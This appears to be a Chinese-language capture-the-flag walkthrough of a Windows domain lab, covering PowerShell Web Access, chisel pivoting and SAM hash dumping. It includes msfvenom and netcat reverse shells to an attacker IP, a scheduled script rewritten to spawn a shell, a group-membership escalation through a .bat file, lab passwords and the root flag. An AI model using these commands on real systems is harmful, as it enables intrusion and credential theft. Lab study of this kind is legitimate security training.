端口扫描
只开放445,
添加域名到/etc/host
访问
用wappalyzer扫是wordpress
大概枚举一下
记下来
目录爆破一下,没有什么有用的
接着去枚举
网站取得powershell页面
打开后我们会看到两个链接,但这些链接会给出 404 状态代码
向下滚动我们可以看到密码Password1!
和访问网址Windows PowerShell Web Access
但是这个用户是错的
看一下word有什么隐藏信息没
给了我们主机名,且作者是FCastle(不对),试一下
一个个尝试了一下
像是一个web的powershell执行页面
取得EDavies权限
枚举一下
尝试用powershell 脚本来扫描端口,看看有没有有趣的端口
GitHub - JustinGrote/PoshNmap: A Powershell Wrapper for the Nmap Network Discovery Tool
运行失败
用Iex试试
看着像域控,但是无法指定扫描端口 88 的脚本,接着枚举
这是个空目录
这表明 Windows Defender 不会检查该目录中是否有恶意文件
当然也可以通过找defend白名单
Microsoft Defender Exclusions List Can Be Read by Attackers
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
尝试用msf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=2222 -f exe > shell.exe
kali托管
msf监听
取得imonks权限
kali ./chisel server --reverse -p 8000
靶机 .\chisel.exe client 10.10.14.67:8000 R:127.0.0.1:socks
确保socks 5 127.0.0.1 1080
添加/etc/proxychains.conf
(在文件最下面添加
socks 5 127.0.0.1 1080)
proxychains nmap -sT -P 88 172.16.22.1
这表明它是域控
wget 10.10.14.67/winPEAS
winpeas执行结果,它显示有一个 RDP 会话处于活动状态
query user
这也可以通过列出活动登录会话找到 或者
qwinsta /server:127.0.0.1也可以看到该:qwinsta
命令在Windows操作系统中用于查询远程服务器上的远程桌面会话(终端会话)信息。在你的命令下:
Invoke-WebRequest -Uri http://10.10.14.67/winPEAS.exe -UseBasicParsing -OutFile winPEAS.exe
./winPEAS.exe
Meterpreter有一个screenshare
功能,可以定期截取活动桌面的屏幕截图,并允许攻击者像直播一样观看。
运行它时,它会在 Firefox 中弹出一个 HTML 页面,显示桌面:
几分钟后,PowerShell 终端将以 edavies 形式打开。该用户创建一个 PowerShell 凭证对象,并使用它以 imonks 用户身份连接到 atsserver 计算机:但是上面是显示没有成功
这里有几个重要的地方:
-
用户是acute\imonks,密码为“w3_4R3_th3_f0rce.”。
-
edavies 正在尝试向 ATSSERVER 进行身份验证。
-
edavies 正在尝试使用
dc_manage
上面提到的配置。 -
上面的命令输入后会报错
它失败是因为 imonks 无权访问 cmdlet Measure-Object
。这可能是配置问题,也可能是Kerberos 双跳dc_manage
问题(或两者兼而有之)
使用Invoke-Command -ScriptBlock可以执行一些命令
取得jmorgan权限
但是我们只能在 ATSSERVER 上运行有限的命令,因为dcmanage
配置用于运行特定命令来管理服务器
Get-Command可以看可以用哪些命令
可以运行Get-Alias
看看这些命令的快捷方式
C:\program files
(和C:\program files (x86)
) 中安装的程序值得枚举,不过没可以利用的
在该用户下枚举
具有 Acute-PC01 上 jmorgan 的凭据:
我无法枚举有关 jmorgan 的域用户信息的信息:
net user jmorgan /domain
( net user jmorgan /domain
The request will be processed at a domain controller for domain acute.local.
System error 1722 has occurred.
The RPC server is unavailable.)
但是,域用户似乎位于 Acute-PC01 的本地管理员组中:
net localgroup Administrators
这就解释了为什么他们可能能够跑步Get-Volume
,而 edavies 却不能:
失败#1
我最初的想法是使用它$securepasswd
来获取PSCredential
Acute-PC01 上 jmorgan 的对象:
PS C:\Utils> $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
PS C:\Utils> $passwd = $securepasswd | ConvertTo-SecureString
这是因为这些安全密码字符串是使用仅在加密计算机上可用的信息(作为加密用户进行加密)进行加密的。
失败#2
我将把我需要的所有命令放入 中ScriptBlock
,并获取明文密码。不幸的是,它不起作用:
Invoke-Command -ScriptBlock { $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c 0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd); $creds.GetNetworkCredential().Password } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
该脚本使用actue\jmorgan
的安全密码在容器上运行Get-Volume
成功
Invoke-WebRequest -Uri http://10.10.14.67/nc64.exe -OutFile nc64.exe 下载
现在该脚本为我创建了一个反向 shell:
当然,让我们分解一下您提供的 PowerShell 命令:Set-Content替代sc ,Get-Content替代cat
Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.67 443') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock {((Get-Content -Path ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443') | Set-Content -Path ..\desktop\wm.ps1} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
此 PowerShell 命令执行以下操作:
-
Invoke-Command
:ATSSERVER
使用 PowerShell 远程处理在远程计算机 ( ) 上启动脚本块的执行。 -
-ScriptBlock {...}
:指定将在远程计算机上执行的脚本块。在脚本块内:-
((Get-Content -Path ..\desktop\wm.ps1 -Raw)
:wm.ps1
从桌面读取脚本文件的内容,并使用-Raw
参数将内容读取为单个字符串(而不是行数组)。 -
-replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443'
:使用-replace
运算符将 内容中出现的所有字符串“Get-Volume”替换wm.ps1
为命令C:\utils\nc64.exe -e cmd 10.10.14.6 443
。 -
| Set-Content -Path ..\desktop\wm.ps1
:将修改的内容写回到wm.ps1
桌面上的文件中。
-
-
-ComputerName ATSSERVER
:ATSSERVER
指定将执行脚本块的远程计算机 ( ) 的名称。 -
-ConfigurationName dc_manage
:dc_manage
指定要在远程计算机上使用的PowerShell 远程处理端点配置名称 ( )。 -
-Credential $cred
:提供远程会话所需的凭据。该变量$cred
可能包含一个PSCredential
具有必要的用户名和密码的对象。
执行(.ps1
是 PowerShell 脚本文件的文件扩展名)
Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
kali监听443
获得acute\jmorgan权限
获取管理员awallace的hash
一种方法meterpreter
如果反弹在meter上
查看权限
我们可以通过运行成为容器上的 SYSTEM 用户getsystem
,然后可以在容器上转储 NTLM 哈希值
二ssecretsdump.py
作为 Acute-PC01 上的本地管理员,jmorgan 可以创建注册表配置单元的备份:
PS C:\Utils> reg save HKLM\sam sam.bak
The operation completed successfully.
PS C:\Utils> reg save HKLM\system sys.bak
The operation completed successfully.
利用meterpreter
meterpreter > download sam.bak
meterpreter > download sys.bak
secretsdump.py
的一部分
secretsdump.py -sam sam.bak -system sys.bak LOCAL
成功dump出hash
解密
或者/opt/hashcat-6.2.5/hashcat.bin acute-pc01.hashes /usr/share/wordlists/rockyou.txt
切换用户
确实可以利用密码作为 awallace 在 ATSSERVER 上运行命令
PS C:\Utils> $pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
PS C:\Utils> $cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }
acute\awallace
在之前枚举的C:\Program Files有个keepmeon值得关注(他只能awallace查看)
有一个bat文件
回到那个 word 文档,它提到 Lois 是组成员的唯一用户,也只有他才能成为site admin
利用Lois权限脚本添加awallace到管理员
运行net group /domain
我们可以看到一个名为Site_Admin
Invoke-Command -ScriptBlock { net group /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
net group site_admin /domain查看一下改组的描述它说它有权访问域管理组
因此使用Set-Content
我们可以添加命令net group Site_Admin "awallace" /add /domain
将该用户添加到Site_Admin组
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock { Set-Content "C:\Program Files\keepmeon\uwu.bat" -Value 'net group Site_Admin "awallace" /add /domain' } -Credential $credential
过一会就将awallace添加进入 域管理员组
验证一下
Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
这实际上足以阅读root.txt
:
PS C:\Utils> Invoke-Command -ScriptBlock { cat \users\administrator\desktop\root.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
5a14532a55ecc6c7cf9faa6f3f6317b5
meter的screenshare
功能使用,利用powershell制作$cred凭证,-ScriptBlock
参数绕过利用$cred不能执行命令,命令被替换如何罗列,sam文件dump出hash,powershell写入.bat定时脚本反弹,添加admin组域用户命令